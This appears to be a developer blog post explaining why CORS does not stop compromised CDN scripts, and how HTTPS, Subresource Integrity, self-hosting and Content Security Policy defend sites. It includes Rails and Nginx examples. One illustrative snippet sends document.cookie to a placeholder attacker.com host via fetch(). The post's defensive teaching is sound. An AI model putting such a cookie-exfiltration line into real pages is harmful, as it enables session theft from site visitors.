🌐 Why CORS Doesn’t Protect You from Malicious CDNs (and How to Stay Safe) | Content Security Policy (CSP)

🔍 Introduction

Developers often assume CORS (Cross-Origin Resource Sharing) protects their websites from all cross-origin risks. However, while CORS effectively controls data access via APIs, it does NOT stop risks from external scripts like those served via a CDN (Content Delivery Network).

This blog explains:

  • Why CORS and CDN behave differently
  • Why external scripts can compromise your site
  • Best practices to secure your app

🤔 What Does CORS Actually Do?

CORS is a browser-enforced security mechanism that prevents JavaScript from reading responses from another origin unless explicitly allowed.

Example:

// Your site: https://example.com
fetch('https://api.example2.com/data') // blocked unless API sets CORS headers

If api.example2.com does not send:

Access-Control-Allow-Origin: https://example.com

The browser blocks the response.

Why?

To prevent cross-site data theft.


🧐 Why CDN Scripts Load Without CORS?

When you include a script via <script> or CSS via <link>:

<script src="https://cdn.com/lib.js"></script>
<link rel="stylesheet" href="https://cdn.com/styles.css" />

These resources are fetched and executed without CORS checks because:

  • They are treated as subresources, not API data.
  • The browser doesn’t expose raw content to JavaScript; it just executes it.

⚠️ But Here’s the Risk:

The included script runs with full privileges in your page context!

  • Can modify DOM
  • Access non-HttpOnly cookies
  • Exfiltrate data to a malicious server

💯 Real-World Attack Scenarios

  1. Compromised CDN:
    If https://cdn.com/lib.js is hacked, every site using it is compromised.
  2. Man-in-the-Middle Attack:
    If CDN uses HTTP instead of HTTPS, an attacker can inject malicious code.

Example Attack:

// Injected malicious script in compromised CDN
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ cookies: document.cookie })
});


🧐 Why CORS Doesn’t Help Here

  • CORS only applies to fetch/XHR made by your JavaScript.
  • A <script> tag is not subject to CORS; the browser assumes you trust that script.

❓How to Secure Your Site

1. Always Use HTTPS

Avoid HTTP CDN URLs. Example:
https://cdn.jsdelivr.net/...
http://cdn.jsdelivr.net/...

2. Use Subresource Integrity (SRI)

Ensure the script hasn’t been tampered with:

<script src="https://cdn.com/lib.js"
        integrity="sha384-abc123xyz"
        crossorigin="anonymous"></script>

If the hash doesn’t match, the browser blocks it.

3. Self-Host Critical Scripts

Host important libraries locally instead of depending on external CDNs.

4. Set Content Security Policy (CSP)

Restrict allowed script sources:

Content-Security-Policy: script-src 'self' https://cdn.com;


Diagram: Why CORS ≠ CDN Protection

Conclusion

  • CORS protects API calls, not scripts.
  • External scripts are powerful and dangerous if compromised.
  • Use HTTPS, SRI, CSP, and self-hosting for maximum safety.

🔐 Content Security Policy (CSP) – The Complete Guide for Web Security

🔍 Introduction

Even if you secure your API with CORS and validate CDN scripts with SRI, there’s still a risk of inline scripts, XSS (Cross-Site Scripting), and malicious script injections. That’s where Content Security Policy (CSP) comes in.

CSP is a powerful HTTP header that tells the browser which resources are allowed to load and execute.

🧐 Why CSP?

  • Blocks inline scripts and unauthorized external resources.
  • Reduces XSS attacks by whitelisting script origins.
  • Adds an extra layer beyond CORS and HTTPS.

How CSP Works

The server sends a Content-Security-Policy header, defining allowed resource sources.

Example:

Content-Security-Policy: script-src 'self' https://cdn.example.com;

This means:

  • Only load scripts from current origin (self) and cdn.example.com.
  • Block everything else.

Common CSP Directives

DirectivePurpose
default-srcDefault policy for all resources
script-srcAllowed sources for JavaScript
style-srcAllowed CSS sources
img-srcAllowed image sources
font-srcFonts sources
connect-srcAllowed AJAX/WebSocket endpoints

Example 1: Strict CSP for Rails App

In Rails, set CSP in config/initializers/content_security_policy.rb:

Rails.application.config.content_security_policy do |policy|
  policy.default_src :self
  policy.script_src :self, 'https://cdn.jsdelivr.net'
  policy.style_src  :self, 'https://cdn.jsdelivr.net'
  policy.img_src    :self, :data
  policy.connect_src :self, 'https://api.example.com'
end

Enable CSP in response headers:

Rails.application.config.content_security_policy_report_only = false

Example 2: CSP in React + Vite App

If deploying via Nginx, add in nginx.conf:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com";

For Netlify or Vercel, add in _headers file:

/*
  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' https://cdn.jsdelivr.net; connect-src 'self' https://api.example.com


✋ Prevent Inline Script Issues

By default, CSP blocks inline scripts. To allow, you can:

  • Use hash-based CSP:
Content-Security-Policy: script-src 'self' 'sha256-AbCdEf...';

  • Or nonce-based CSP (preferred for dynamic scripts):
Content-Security-Policy: script-src 'self' 'nonce-abc123';

Add nonce dynamically in Rails views:

<script nonce="<%= content_security_policy_nonce %>">alert('Safe');</script>

CSP Reporting

Enable Report-Only mode first:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-violation-report

This logs violations without blocking, so you can test before enforcement.

Visual Overview

Conclusion

CSP + HTTPS + SRI = Strong Defense Against XSS and Injection Attacks.